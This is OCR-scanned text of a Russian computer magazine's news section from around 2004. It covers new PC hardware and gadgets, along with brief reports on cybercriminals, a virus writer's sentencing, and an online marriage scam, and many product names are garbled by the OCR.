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на базе процессора ІпСеІ® РепЫит® 4 
с технологией НТ. И используйте 
цифровой мультимедиа адаптер для 
подключения к телевизору или 
стереосистеме в лк>боЙ комнате Вашего 
дома* Это новый мир возможностей* 
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Так происходит всегда: 
о любых событиях человек уз- 
нает с опозданием. Даже если 
он присутствует при них, есть 
та пауза в несколько долей се- 
кунд, пока его мозг осознает 
произошедшее. Прямые ре- 
портажи с места событий отс- 
тают от реальности уже на 
большее время - пока еще 
сигнал пройдет по всем про- 
водам, потом до спутника и 
обратно до Земли. Что уж го- 
ворить о ежемесячном журна- 
ле, который делается аж за 
несколько недель до того, как 
попадает к тебе в руки. 

Этот новогодний номер мы 
сдавали в конце ноября. Он 
словно письмо из прошлого, 
запечатанное в бутылку и ад- 
ресованное людям будущего. 
Нам пришлось эмулировать 
настроение новогодней лихо- 
радки, чтобы журнал получил- 
ся своевременным, а не пах- 
нущим плесенью или уже за- 
черствевшим, как корочка 
вчерашнего хлеба. И вот но- 
мер сдан, вокруг все еще но- 
ябрь, а мы все никак не изба- 
вимся от ощущения, что завт- 
ра - Новый год, потом сессия, 
а там и до весны недалеко =)). 
Так мы стремимся к тебе - 
в будущее, живем завтрашним 
днем, предугадывая то, что те- 
бе только БУДЕТ интересно, 
чтобы ты, получив новый но- 
мер, все так же чувствовал 
себя продвинутым и разви- 
тым человеком. Получается, 
что мы - люди будущего для 
тех, кто окружает нас сейчас. 
И мы чувствуем себя с тобой 
на равных. У нас нет другого 
выбора. Удачи тебе, компью- 
терный фанат! 

До встречи в новом году! 
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стильный КУЗОВ 



ЖЕЛЕЗО 



К омпания А8118ТеК 
представила не- 
давно удивительный 
корпус, который выде- 
ляется, прежде всего, 
своим необычным ди- 
зайном. ѴЕМТО 3600 - 
так назвали новинку - 
оборудован вертикаль- 
но открывающейся 
крышкой передней па- 
нели, которая позволя- 
ет быстро получать дос- 
туп к отсеку с 5,25" уст- 
ройствами - ОѴО-при- 
воду и Т.Д. В пресс-ре- 
лизе компании эта тех- 
нология называется 
Мадіс Мазк - «чудо- 
маска». Забавно реали- 
зована в корпусе и сис- 
тема вентиляции. 
ѴЕМТО оборудован 80 
мм и 120 мм вентиля- 
торами и обеспечивает 
внутри себя недетский 
поток воздуха для отво- 
да тепла. Сбоку корпуса 
расположено вентиля- 
ционное отверстие, в 
которое и затягивается 
воздух, обдувающий 
процессор и системную 
плату. Это пригодится 
для работы с современ- 



ными кристаллами от 
Іпіеі или АМО. Также 
имеются четыре 5,25" и 
четыре 3,5" отсека, от- 
верстия под шесть РСІ- 
слотов, один АОР 8Х- 
слот, четыре порта ІІ8В 
2.0 и два аудиопорта на 
передней панели. 
А8118ТеК выпускает 
ѴЕМТО в трех цветовых 
исполнениях: зеленом, 
красном и синем. В за- 
вершение приведу 
краткие характеристики 
новинки: 



А Корпус выполнен из 0,8 мм 
стали и собран без единого 
винтика по форм-срактору 
піАТХ. 

^:5,25"х4, 3,5" х 1,3,5" 
(внутр) X 3. 

^Лицевая панель: Л$В 2.0x4, 
Аибіох2. 

^Охлаждение; на лицевой 
панели 80 мм вентилятор, а 
сзади -120 мм гигант. Сбоку 
стильная дырка для забора 
воздуха. ■ 




СОСУД ППЯ ЗВУКОВ 



НІТЕСН 




Д изайнер Том Дженкинс и прог- 
раммист Марк Ханштейн из 



Великобритании сконструировали 
сосуд для звуков. Аудиомиксер пог- 
лощает все, что напевают, прогова- 
ривают или насвистывают в микро- 
фон. После этого фразы разбивают- 
ся на слова. Встряхивая сосуд, мож- 
но смешивать звуки и придавать 
им различную окраску. Резуль- 
тат предлагается аккуратно «вы- 
лить» или резко «вытряхнуть» на- 
ружу. А можно добавить новую 
порцию звуков и еще раз хоро- 
шенько перемешать. Необычные 
результаты экспериментов с ау- 
диомиксером можно наблюдать 
на видео в интернете (ѵѵѵѵѵѵ.іпіегас- 
Шп.гса.ас.ик). ■ 




с ПОДОГРЕВОИ 



НІТЕСН 



В преддверии морозной зимы 
компания Могсііс беаг предс- 
тавила носки с подогревом. В по- 
дошве Тіпегтозіаі размещаются 
пять нагревательных элементов - 
по одному на каждый палец ноги. 
Пластины очень тонкие и не ощу- 
щаются при ходьбе. Батареи типа 
О крепятся на голени. Время ра- 
боты от батареи - 7-10 часов. Хо- 
зяин носков надежно защищен от 
электрошока. Новинку даже мож- 
но стирать. Носки ТІпегтозМ про- 
даются в интернете по цене 25 
долларов за пару. ■ 



ПІВПТНОИ^ПП 



ЖЕПЕЗО 



Н овую системную плату на базе логики ѴІА К8Т890 Рго представила компания 
АІЬаІгоп ТесПпоІоду. Новинка предназначается для использования совместно 
с процессорами АМО АІІіІоп 64, подключающимися через разъем 8оскеІ 939. По- 
мимо стандартного набора из трех РСІ-слотов, 4 разъемов под двухканальную па- 
мять, 2 колодок ІІкга АТХуі 33 и разъема 8АТА с поддержкой РАЮ 0/1 , новинка обо- 
рудована одним слотом РСІ Ехргезз х16 и РСІ Ехргезз х4. Работой со всеми внеш- 
ними устройствами занимается южная микросхема чипсета - ѴГ8237. В ней реа- 
лизована поддержка 8 разъемов 118В 2.0, двух портов ІЕЕЕ 1394, 8-канального ау- 
диоконтроллера Епѵу24РТ, сетевого адаптера МагѵеІІ и т.д. ■ 




КПК0ТСР8І0 



ЖЕПЕЗО 



Н овый карманный компьютер вы- 
пустила компания Сазіо - ІТ-10 
Епіегргізе РОА. Эта малютка постав- 
ляется в пылевлагозащитном и про- 
тивоударном корпусе, который при- 
дется по вкусу такому отвязному 
экстремалу, как ты. Но поскольку 
первое время эта девайсина будет 
стоит бешеных бабок, тебе остается 
лишь смачно облизнуться: 

А Если уронить этот КПК с высоты 1 метр в 
водоем или на бетонную плиту, он продолжит 



отлично работать и радовать своего хозяина. 

А Не помеха и пыль - это устройство соблюдает 
все требования стандарта ІР 54. 

^3,7" ЖК-дисплей с разрешением 320x480. 

А Батарейка 2300 мАч, на которой КПК 
проработает аж 27 часов. 

А Кардридер для Зеснге ОідіІаІ/5010. 

А Последовательный порт (К5-232С). 

А Система Місгозоіі №пбоѵѵ8 МоЬіІе 2003 Зесопб 
ЕбШоп. 

^Процессор Іпіеі РХА270 (416 МГц). 

^Память 64 Мб ЕРОМ, 64 Мб РАМ. 

А ИК-порт ІгОА 1.3 (до 4 Мбит/с). 

А Размеры: 140x80x25 мм. 

А Вес: 290 г. ■ 
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ТОПСРИЫХОПРСНЫХ 

ХИБЕРРРЕСТУРРИХОР 



ОТ ФБР 




Ф БР на днях решила поделиться с 
массами информацией о самых 
опасных киберпреступниках, находящих- 
ся в розыске. Итак, по порядку. 

Саад Джей Эчуафни - тридцатисемилет- 
ний бывший исполнительный директор 
компании ОгЬіІ Соттипісабоп. Нанимал 
хакеров для проведения 0о8-атак на сай- 
ты Департамента госбезопасности США, 
ѵѵеакпе$$.сот, атагоп.сот и другие. Сово- 
купный ущерб в результате этих атак сос- 
тавил более 2 миллионов долларов. 

Цзе Дон - обвиняется в мошенничестве на 
онлайновых аукционах. За непродолжи- 
тельное время успел обдурить 5000 чело- 
век и наварить около миллиона долларов. 
Предположительно находится в Китае или 
Гонконге. 

Джеррод Лохмиллер - занимался прода- 
жей по интернету фальшивых удостовере- 
ний, а также отличился на Е-Ьау, наварив 
там около 40 тысяч. 

Джонни Рэй Гаска - организовывал в Лос- 
Анджелесе частные просмотры фильмов 
до того, как они выходили в прокат. На су- 
де, который должен был состояться 13 ян- 
варя 2004 года, не появился и с тех пор 
числится в розыске. 

Директор ФБР официально заявил на 
пресс-конференции, что теперь киберп- 
реступность - основное направление рабо- 
ты бюро, так как количество махинаций с 
использованием интернета растет в гео- 
метрической прогрессии. ■ 



видюхп 

с ПРШППЕРОИ 



ЖЕЛЕЗО 



С ледуя волне пресс-релизов про- 
изводителей видеокарт, компа- 
ния ІеасЙек сообщила о выходе 
собственной версии видеокарты на 
ѴѴіпРазІ А66006Т ТОН с интерфейсом 




А6Р. Что касается характеристик но- 
вой карточки, то они впечатляют. Яд- 
ро процессора работает на частоте 
500 МГц, память - 900 МГц. Плата ос- 
нащена 128 Мб 600Р-3 на 128 раз- 
рядной шине. 

Разумеется, такая штуковина должна 
здорово греться. Чтобы дорогое уст- 
ройство не изжарилось, инженеры 
компании решили использовать для ох- 
лаждения здоровенный шестисанти- 
метровый вентилятор, который, как и 
положено, крепится к радиатору систе- 
мы охлаждения. Помимо всего проче- 
го, этот пропеллер еще и шумит не по- 
детски - уровень шума составляет 26,8 
дБ. Видеокарта поддерживает следую- 
щие разъемы: Р6В (0-8иЬ), ОѴІ-І, 
НОТУ. Максимальное разрешение за- 
висит от разъема, к которому подклю- 
чен монитор: ОѴІ-І - 1900x1200, 0-8иЬ 
-2048x1536, НОТУ - 1920x1080. 



ЗЕК, покакавший ШЕРИФЛ 



ВЗЛОМ 



Ч ем занимаются 
зеки в наших 
тюрьмах? Качают би- 
цепс, играют в фут- 
бол, подрезают друг 
друга. А чем занима- 
ются американские 
зеки? Окружной ше- 
риф штата Колорадо 
Джон Кук немало уди- 
вился, когда узнал, 
что какой-то чувак, 
отбывающий срок, 
получил доступ к при- 
ватной инфе его са- 
мого и 1000 сотруд- 
ников местной адми- 
нистрации. «Фигасе, 
че творится», - поче- 
сал за ухом шериф и 
стал разбираться. Де- 
ло в том, что тюрьмы, 
как и многие другие 
заведения в США, 
подключены к Сети. 
Заключенные имеют 
доступ к компу, но 
весьма ограничен- 
ный. Заходить они 
могут только на спе- 
циально предназна- 
ченные для них ресур- 



сы. И конечно же, 
доступ к базе данных 
администрации для 
людей в полосатых 
пижамах закрыт. Но 
каким-то образом од- 
ному из них удалось 



преодолеть забор. За 
безопасность кали- 
форнийской тюрем- 
ной сетки отвечает 
фирма А^ЛІіаІесІ 
Сошриіег Зегѵісез, но 
никаких попыток 
взлома ее сотрудники 
в логах не обнаружи- 
ли. Началось след- 
ствие, и оказалось, 
что один из зеков 



попросту ввел невер- 
ный идентификацион- 
ный номер пользова- 
теля, совпавший с па- 
ролем. И благодаря 
этому попал в систе- 
му. Представляю себе 
радость 
зека, ког- 
да он об- 
наружил 
доступ- 
ность сек- 
ретной ин- 
фы про 
своих над- 
зирателей. 
Досье он 
тайком 
распеча- 
тал, пронес в камеру и 
изучал вместо книжек 
перед сном. Но засран- 
ца попалили... Тюрьму 
перевернули вверх 
дном и обнаружили 
распечатки с инфой в 
других камерах. Дело 
это запутанное, и сей- 
час активно ведется 
расследование. ■ 




400 ГБ 



Бпррпкуда 




Н у наконец-то, прор- 
вало. Спустя четыре 
месяца после первых со- 
общений Зеадаіе анонси- 
рует начало поставок 400 
Гб 3,5" винчестеров 
Ваггасиба 7200.8. Если 
сравнивать новые винчи с 
предыдущими, несложно 
отметить возросшую ем- 
кость одного блина - те- 
перь этот параметр сос- 
тавляет 133 Гб против 
1 00 Гб у 7-ой версии бар- 
ракуд. Конечно, это не 
улучшит графики скорос- 
ти чтения, но не будем 
заглядывать вперед. 
Модельный ряд предс- 
тавлен винтами с интер- 
фейсом 8АТА (емкость 
200/250/300/400 Гб) и 
иііга АТА (250/300/400 Гб). 
8АТА-модели поддержи- 
вают N00 и, если на ми- 
нуту поверить пресс-ре- 
лизу, предназначены для 
использования в «игровых 
системах, рабочих стан- 
циях и медиасерверах». 
Несложно, наверное, до- 
гадаться, что шпиндель 
новых винчестеров кру- 
тится со скоростью хоро- 
шей центрифуги - 7200 
об/мин. Время позицио- 
нирования составляет 8 
мс, а максимальная ско- 
рость передачи данных 95 
Мб/с. Первое время, как 
ожидается, объем буфера 
дисков будет составлять 8 
Мб, но впоследствии этот 
показатель будет увели- 
чен до 16 Мб для моде- 
лей емкостью свыше 250 
Гб. ■ 
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ППЕЕРОМОБИПЬ 



НІТЕСН 



1 А декабря в Мюнхене состоялся 
I ь Открытый чемпионат по гон- 
кам аудиоплееров и портативных 
магнитофонов РесогбегРасе 2004. В 
заездах на дистанцию 1 5 метров при- 
нимали участие оригинальные боли- 
ды, колеса которых приводятся в 
действие моторчиком плеера. Это 
любопытное соревнование проходи- 
ло во второй раз. Правилами чемпио- 
ната разрешается использовать толь- 
ко родные двигатели и батареи. При 
этом никакого дистанционного управ- 
ления или бурундучков в качестве ходовой машины. Интересно, что одни раз- 
работчики лепили на плееромобили крошечные колеса из детских конструкто- 
ров, а другие - великоразмерные велосипедные шины. Узнать о призерах и о 
технологии создания плееромобиля можно на сайте ѵѵѵѵѵѵ.гекогсіеггеппеп.сіе. ■ 




ТПРПКПНИЩЕ 



НІТЕСН 




Г уппа европейских 
ученых создала 
робота, которого жи- 
вые тараканы с лег- 
костью принимают в 
свою компанию. С ви- 
ду ІпзВоІ (а$І.ер(І.сІі) на 
прусака совсем не по- 
хож. Он коричнево- 
зеленого цвета, а раз- 
мерами больше напо- 
минает спичечный ко- 
робок - 30x40x25 мм. 
Чтобы робот мог вте- 
реться в доверие к 
соплеменникам, его 
сбрызнули специаль- 
ным «тараканьим оде- 
колоном», разрабо- 
танным во французс- 



кой лаборатории. Три 
года ученые исследо- 
вали поведение жи- 
вых прусаков. Ис- 
пользуя технологию 
гтюііоп ѵібео, тарака- 
нов снимали во все- 
возможных ракурсах и 
в результате создали 
компьютерную прог- 
рамму, реалистично 
воспроизводящую 
движения насекомых. 
Ученые также выясни- 
ли, что тараканы - су- 
щества коллективные, 
они просто не могут 
жить без контактов 
друг с другом. В ходе 
проекта стоимостью 2 



миллиона евро на 
свет появился робот, 
способный обнаружи- 
вать прусаков и отли- 
чать их от других объ- 
ектов. ІпзВоІ переме- 
щается, как настоя- 
щее насекомое. 
Столкнувшись с соб- 
ратом, он, подобно 
живому таракану, 
прекращает движение 
и, шевеля усами, «ве- 
дет беседу». ІпзВоІ 
оснащен двумя про- 
цессорами 16 МГц, 
миниатюрной каме- 
рой и десятком инф- 
ракрасных датчиков. 
Передвигается робот 
на колесах, которые 
приводятся в 

действие электромо- 
торчиками. Ученые ут- 
верждают, что робот- 
лазутчик может не 
только проникать в 
группы тараканов, но 
влиять на своих соб- 
ратьев и регулировать 
их поведение. В ходе 
эксперимента ІпзВоІ 
вывел живых тарака- 
нов из темной облас- 
ти в светлую, где их 
проще прихлопнуть. 
Возможно, через нес- 
колько лет люди будут 
покупать роботов, 
чтобы избавиться от 
нашествия насеко- 
мых. ■ 



крутой 

РПЬБРТРОН 



ЖЕЛЕЗО 




Д ве видеокарты анонсировала 
компания АІЬаІгоп Тесіппоіоду: 
АСР6600 и АСР6600СТ. Обе они вы- 
полнены на графических процессорах 
МѴЮІА ОеРогсе 6600 и ОеРогсе 66000Т 
и устанавливаются, конечно же, в 
АОР-слот системной платы. 



Тактовая частота ядра АОР6600 сос- 
тавляет 300 МГц, а АОР6600ОТ - 
500. Старшая модель оснащена 
микросхемой 128-разрядной памя- 
ти ОООР-3 128 Мб (2 нс). Все ос- 
тальные характеристики определя- 
ются используемыми камнями. 
Здесь стоит отметить поддержку 
ОігесОС 9.0, ЗІпасІег МобеІ 3.0, СіпеЬс 
3.0, пѴіеѵѵ, наличие двух РАМОАС 
(400 МГц), а также экстремальный 
режим 2048x1 536@85 Гц. 

Новинки оборудованы разъемами 0- 
8иЬ, ОѴІ-І и ТѴ-выходом, в комплект 
поставки входит НОТѴ-кабель, под- 
держивающий 8-ѴісІео и АѴ. ■ 



СНЕСНЕРПССПЛБИШЬСЯ 



ЖЕЛЕЗЛ 




К онкуренцию фирме Арріе в прод- 
вижении плеера іРосІ планирует 
составить британская компания Ѵ-Тес. 
Эти ребята не стали мудрствовать лу- 
каво и выпустили на свет действитель- 
но очень похожее устройство с име- 
нем Ѵ-ММѴ. Новинка оснащена 20 Гб 
1,8" винчестером и классным пяти- 
сантиметровым цветным дисплеем. 
Плеер, помимо разъема 118В 2.0, име- 
ет встроенный кардридер, поддержи- 
вающий 13 стандартов флеш-памяти. 



Новое устройство умеет воспроизво- 
дить видеоролики с разрешением до 
352х240@ЗШрз, закодированные ко- 
деком МРЕ61 или тоііоп ЗРЕ6. Само 
собой, поддерживается воспроизве- 
дение аудиотреков в следующих фор- 
матах: МРЗ (МРЕС 1 Аисііо Іауег І/ІІ/ІІІ 
& 2.5, 32КЬрз~320КЬрз), ША 
(32КЬрз~192КЬрз), Аисііо СО и несжа- 
тый ѴѴАѴ (8000/11025/12000/16000/ 
22050/24000/32000/44100/48000 Гц, 
64КЬрз~1536КЬрз). Также в выпущен- 
ном пресс-релизе упомянута подде- 
ржка просмотра картинок в формате 
ЗРЕС. Причем устройство умеет 
масштабировать и вращать изображе- 
ния, а также подготавливать слайд- 
шоу с фоновым звуковым сопровож- 
дением. 

Для работы устройству жизненно ну- 
жен крутой литиево-ионный аккумуля- 
тор (3,7 В, 1 800 мАч) либо розетка 220 
В - в этом случае используется специ- 
альный адаптер. Говорят, что аккуму- 
лятора хватит на 4 часа просмотра ви- 
део. Новинка, ко всему прочему, под- 
держивает стандарты телевидения - 
РА1/МТ8С. Габариты плеера составля- 
ют 126x70x23 мм, а весит эта штуко- 
вина 230 гр. ■ 
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ЦВЕТ9ЩРЯ ЯСЬКП БРЯЧНЫЙ ЯФЕРИСТ 



НІТЕСН Ш ВЗПОИ 




Я ченые лаборатории Месііа ІаЬ Еигоре (ѵѵш.тесІіаІаЬеигоре.огд) представи- 
ли оригинальный гаджет для завсегдатаев аськи. В обычном пластико- 
вом горшке растет механический цветок 0пе20пе. По беспроводному ради- 
оканалу устройство общается с компьютером и проверяет статус пользова- 
теля. Как только собеседник появляется в онлайне, электромоторчики раск- 
рывают большой красный бутон. Цвести он будет до тех пор, пока пользо- 
ватель не выйдет из аськи. 0пе20пе - это еще один пример «интимного ин- 
терфейса», главная цель которого - сделать общение на расстоянии через 
интернет очень личным. ■ 



СТРЕССОВЫЕ ЧПСЫ 



НІТЕСН 



П и 3 а й н е р 
Криспин 
Джоунс (ѵѵѵѵѵѵ.тг- 
)опе$.огд) предста- 
вила наручные ча- 
сы, подверженные 
стрессу. Как под- 
метила художни- 
ца, когда мы спе- 
шим, время летит 
еще быстрее. Ког- 
да ждем, почти 
останавливается. 
Прикосновение к 
двум металличес- 
ким пластинкам 



на циферблате 
влияет на ход вре- 
мени. Чем больше 
ты напряжен, тем 
быстрее часы бу- 
дут отсчитывать 
мгновения. Сумев 
расслабиться, ход 
времени можно 
остановить и даже 
повернуть его 
вспять. Совсем 
скоро наручные 
часы Аѵісіиз посту- 
пят в открытую 
продажу. ■ 




Ю ра Лазарев, ко- 
торый с Урала, 
долгое время работал 
переводчиком. Но, 
очевидно, переводчи- 
ки получают меньше, 
чем нужно Юре Лаза- 
реву. Поэтому Юра 
решил с переводами 
на время завязать и 
уйти в более при- 
быльный бизнес - 
аферы. С технология- 
ми мужчина с Урала в 
близких отношениях 
не состоял, поэтому 
решил брать не скил- 
лом, а смекалкой. Сел 
за комп, сочинил нес- 
колько романтических 
посланий для бога- 
теньких буратин, ищу- 
щих суженую через 
газеты и сайты зна- 
комств, вложил фотки 
девах модельной 
внешности и отпра- 
вил. Фишка состояла 
в том, чтобы заинте- 




ресовать бу рати ну и 
выманить у него день- 
ги, якобы на оформ- 
ление визы и допол- 
нительные расходы по 
переезду. Когда биз- 
нес пошел в гору. 
Юра нанял штат те- 
ток, которые сами пи- 
сали письма на ука- 
занные адреса. И за 
каждый сорванный 
куш Юрец платил им 
по $60. Облапошен- 
ные иностранцы не 
пытались разыскивать 
внезапно исчезнув- 
шую «почти жену», но 
один все-таки доко- 



пался. И пожаловался 
самому Путину на его 
официальном сайте. 
Жалоба, очевидно, 
попала куда надо, и в 
скором времени Ла- 
зарева повязали. Нес- 
мотря на то что за все 
время ему удалось за- 
работать на махина- 
циях 300 тысяч бак- 
сов, получил он всего 
год условно. 

Кстати, этот новый 
вид аферы становится 
все более популяр- 
ным среди нашего 
брата. Американское 
посольство в России 
ежедневно получает 
от 5 до 10 запросов, 
связанных с этим. 
Сумма, на которую 
разводят жертв, мо- 
жет колебаться от 300 
до нескольких тысяч 
долларов. А один до- 
верчивый бу рати на 
попал на 1 1 штук. ■ 



НПШЕГО ВИРЬИЕИКЕРП ПОВЯЗППИ 



ВЗПОИ 




Х акеры, фрикеры, 
кардеры, вирус- 
мейкеры - все посме- 
иваются над российс- 
кими законами. И 
есть с чего - слишком 
сырые они, слишком 
недоработанные. А в 
газетах если и появ- 
ляются новости о по- 
имке хакеров, то 
обычно «хакерами» 
оказываются школь- 
ники и студенты, спи- 
онерившие у соседа 
пароль на диалап. В 
последнее время, 
правда, ситуация ста- 



ла потихоньку менять- 
ся. И одним из самых 
громких случаев во 
второй половине 2004 
года стало задержа- 
ние известного в ан- 
деграунде российско- 
го вирьмейкера 
ѴѴІпаІе, мембера 29А - 
одной из самых кру- 
тых ѴХ-групп в мире. 
Именно он написал 
вири Віераг и 
базігоросі и выложил 
их исходники в Сети. 
ѴѴПаІе'а судили по 
статье 273 УК. Но так 
как с самого начала 



он не отрицал свою 
вину, помогал след- 
ствию, а также потому 
как у обвинителей не 
оказалось ни одного 
заявления от постра- 
давших, приговор, 
вынесенный 22 октяб- 
ря в Ижевске, был на 
удивление мягким. 
Женю (риалнейм 
ѴѴІпаІе'а) обязали вып- 
латить 3000 рублей 
штрафа и отпустили, 
погрозив на прощанье 
пальчиком. 

По сути, это первый 
в России уголовный 
процесс над извест- 
ным вирусмейкером. 
Неизвестно только, 
как отделу «К» уда- 
лось на него выйти. 
В ближайшее время 
я постараюсь попод- 
робнее осветить этот 
случай в «Сцене». 
Как говорится, из 
первых рук :) ■ 
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КРРТР с ТРУБКОЙ 



ЖЕЛЕЗО 



И нтересное устройство предста- 
вила ІпЬ-Тек. Искушенный чита- 
тель знает, что эта контора выпускает 
графические карты на собственном 
лэйбле беСиЬе. Вот и на этот раз ме- 
неджеры компании представили но- 
вую видеокарту, основанную на чипе 
Х700 РВО. Основная фишка устрой- 
ства, которую я бы выделил, - это ис- 
пользование безвентиляторной систе- 
мы охлаждения, состоящей из двух 
медных подушек, обхвативших девай- 
сину с двух сторон и соединенных 
медными трубками. 

Такие системы, вообще, уже дав- 
ным-давно известны. Наибольших 




успехов на этом поприще достигла 
компания 2а1тап, выпускающая сис- 
темы охлаждения, которые по фор- 
мату подходят почти любой видео- 
карте. Но ребята беСиЬе решили не 
платить лавэ первопроходцам и сде- 
лали свой аналог, дав ему крутое 
название ЗіІепСооІ. Вот основные ха- 
рактеристики новой карточки: 

^Частота ядра: 425 МГц. 

^ Память: 128 Мб, 60КЗ, 128 бит. 

^РСІ Ехргезз ХІ6, 0-$цЬ, ТѴ-Оуі 5/НОТѴ, ОѴІ, 
Ѵібео-Іп. 

А Охлаждение: НеаГ Ріре («тепловые трубки», 
англ.). 

Разумеется, конкуренты тоже не 
дремлют и постепенно начинают 
выпускать аналогичные системы, 
например РоѵѵегСоІог 8С8 Х700 ХГ. 
В самом деле, это довольно перс- 
пективное направление развития. 
Плюсов у данного подхода неме- 
ренно, и самый главный заключает- 
ся в абсолютно тихой работе видео- 
карты. ■ 



ДУЭТ 

с ИИКСЕРОИ 



НІТЕСН 



К елли Добсон из МІТ Месііа ІаЬ 
{ѵѵеЬ.шесІіа.піІ.есІи) представила 
свой взгляд на голосовое управле- 
ние бытовой техникой. Новую 
жизнь получил ископаемый миксер 
Озіегігег 1950 года выпуска. Чтобы 
заставить его работать, человек 
должен реалистично воспроизвести 
шум мотора. Другими словами, за- 
говорить на языке техники и слить- 
ся с ней в дуэте. Реагируя на низ- 
кий тихий звук, ВІепсІіе 2000 начи- 
нает ме-е-едленно вращаться. По- 
вышая громкость, можно молотить 
грецкие орехи. Ну а для взбивания 
пены придется взять самую высо- 
кую ноту. ■ 





МѴЮІА® СіпеРХ™ 3.0 ТесЬпоІоду - 
МѴЮІА® иЦгаЗИас^о^™ II ТесЬпоІос 
Оп-СГіір Ѵісіео Ргосеззог 
РСІ Ехргезз 
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ОЕПЮКС ОТ 0808 



ЖЕЛЕЗО 



В декабре на рынке появилась новая 
системная плата от известного брэн- 
да А8118ТеК - А8М-81І Оеіихе. Вот основ- 
ные характеристики платы: 

А Используемый чипсет: НѴІОІА пРогсе 4 $У. 

А Подходящие камни: АМО АРІіІоп 64РХ/АПіІоп 64 (Зоскеі 
939). 

^4 разьема под модули памяти. 

^Частота Р8В: 2000/1600. 

^2 канала ООШО/333/266. 

А 2 слота РСІ-Ехргезз х16. Причем режим работы этой 
шины можно выбирать положением переключателя Е2 
Зеіесіог: 2хРС1 Ехргезз х8, РСІ Ехргезз х16 или х1. 

А 2 слота РСІ-Ехргезз х1. 

^Зелота РСІ. 

А 4 5АТА, 2 АТА133 (с поддержкой РАЮ 0, РАЮ 1, РАЮ 04 и 
ЗВОО). 

^4$АТА11. 

^2ГбитЕАН. 

^2порта1ЕЕЕ1394. 

По всему понятно, что в ближайшее вре- 
мя нас ждет целая волна пресс-релизов о 
выходе ряда аналогичных материнских плат 
от других производителей. Остается поздра- 
вить А81І8 с оперативностью и отметить, что 
в настоящий момент также готовится выход 
платы А8М-Е Ргетіит, которая отличается от 
А8М-81І Оеіихе наличием ѴѴІАМ и отсутстви- 
ем 8и,8АТА11. ■ 



НОНИТО Р НР ГРЗДИ 

О мериканская компания Мух анонсировала выпуск футбо- 
лок, изображение на которых можно программировать. 
Представленная модель имеет два ІСО-экрана: 8x8 см спе- 
реди и 15x30 см на спине. На красочной статической картин- 
ке создатели не остановились. Изображения на футболке 
сменяют друг друга, а текстовые сообщения выстраиваются 
в бегущую строку. Крошечный микрофон и специальная тех- 
нология позволяют картинкам пульсировать под музыку, как 
это делают плагины в ѴѴіпатр'е. Заявлена возможность 
программировать картинки с карманных компьютеров под 
управлением Раіт 08 и ѴѴіпсІоѵѵз МоЬіІе. Три батареи типа АА обеспечивают 8 часов непрерывной работы. 
Страждущим компания предлагает прототипы футболок с иллюминацией по цене $900 за штуку. Как толь- 
ко начнется массовое производство, цена обещает упасть до 250 зеленых. ■ 




ХРЙ-ТЕК 

РПЬБОИ 



ВИР8СМЕЙКЕР СТПП ПНТИВИР8СНИК0И 



взпои 



П рактически все антивирус- 
ные компании сторонятся 
вирусмейкеров. Помнится, в 
интервью Евгений Касперский 
прокомментировал это так: «Ви- 
русописательство - это диагноз, 
который с трудом поддается ле- 
чению. Да, есть примеры из 
других областей - преступник 
Видок стал знаменитым поли- 
цейским. В вирусописательстве 
мне пока такие случаи неизве- 
стны. Я не стану пятнать репу- 
тацию «Лаборатории», так что 
путь создателям вирусов к нам 
заказан». С недавних пор для Евгения появился такой пример. Дело в том, что чешская ком- 
пания 2опег 8о!Іѵѵаге, занимающаяся разработкой графических и мультимедийных прог- 
рамм, пригласила на работу известного мембера группы 29А Бенни. Основной его задачей 
будет писать антивирусное и антихакерское ПО для интернет-подразделения 2опег, а конк- 
ретно - новый антивирус 2АѴ. Конечно, это известие не осталось незамеченным и многие 
антивирусники с большим скепсисом отозвались о способностях Бенни и его светлых 
умыслах. Но Эрик Пипер, представляющий 2опег 8о^ѣ/ѵаге, ответил на выпады так: «Это па- 
радоксально, но деятельность Бенни, в том числе в области написания вирусов, стала хо- 
рошим доказательством того, что он понимает схему работы вирусных атак. Создатели ви- 
русов часто подчеркивают, что подход к созданию защиты в том или ином продукте оказы- 
вается примитивным. Мы уверены, что о разработках Бенни такого сказать будет нельзя». 
Впрочем, Бенни не относится к тем вирьмейкерам, которые пишут и распространяют по 
всему инету деструктивные вирусы. Обычно своих зверушек он писал в экспериментальных 
целях и в свободное плавание не запускал. ■ 



^ > 2апвг 







Л юбопытное 
устройство 
выпустила на рынок 
компания МАОРІХ, 
которая до сих пор 
занималась рели- 
зами крутых бинок- 
лей с цифровыми 
камерами внутри. 
На этот раз менед- 
жеры компании об- 
радовали нас пор- 
тативным фотоаль- 
бомом Роскеі Ріпоіо 
АІЬит. Поговарива- 
ют, что эта штуко- 
вина стоит около 
$ 100 . 

МАОРІХ Роскеі 
РПоІо АІЬит смон- 
тирован в корпусе 
из алюминия и от- 
того весит совсем 



мало - 60 гр. Одна- 
ко металлический 
корпус не спасает 
устройство от ме- 
ханических травм: 
если его уронить, 
скажем, в реку, ни- 
чего хорошего не 
жди. Альбом осна- 
щен 1 ,5" ТГТ-экра- 
ном для просмотра 
фотографий, также 
имеются интер- 
фейсы для соеди- 
нения с телевизо- 
ром, ПК или проек- 
тором. Сливает 
отстойная 16-ме- 
говая флешка, иду- 
щая по дефолту. 
Хотя всегда можно 
купить здоровен- 
ную 80/ММС :). ■ 
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воояной насос 



ЖЕЛЕЗО 



В последнее время на рынке ох- лением большого числа жидкостных 
лаждаюіцих устройств происхо- кулеров. Они все дешевеют и дешеве- 

дит настоящий бум, связанный с появ- ют и вот уже грозятся стать стандар- 

том де-факто для обыкновенных рабо- 
чих систем. Я, конечно, утрирую, но 
это неважно. Недавно я прочел пресс- 
релиз, который сообщал о выходе но- 
вых водяных насосов от компании 
РоІагРШ. Инженеры учли недостатки 
предыдущих моделей и представили 
несколько новых устройств, которые, 
уверен, скоро найдут свое примене- 
ние в новых водяных кулерах, и те бу- 
дут стоить еще дешевле. ■ 

КОМПЬЮТЕРНЫЕ номинанты 
НН ПРЕМИЮ ЙПРВИНН 



взпои 



П ремия Дарвина 
присуждается 
тем, кто избавил че- 
ловечество от своего 
присутствия макси- 
мально тупейшим 
способом. Есть такие 
люди, которые по-че- 
ловечески умирать не 
хотят и улетают в кос- 
мос на воздушных 
шариках или на само- 
пальных турбо- реак- 
тивных велосипедах 
прыгают с трамплина, 
приземляясь на дне 
Великого Каньона. 
Похожий хит-парад 
составила компания 
Опігаск Оаіа Ресоѵегу, 
которая занимается 
восстановлением ин- 
фы с убитых носите- 
лей. Только герои ее 
хит-парада - не ками- 
кадзе, а владельцы 
изувеченных гадже- 
тов. 

Первое место доста- 
лось мужику, который 
додумался засунуть 
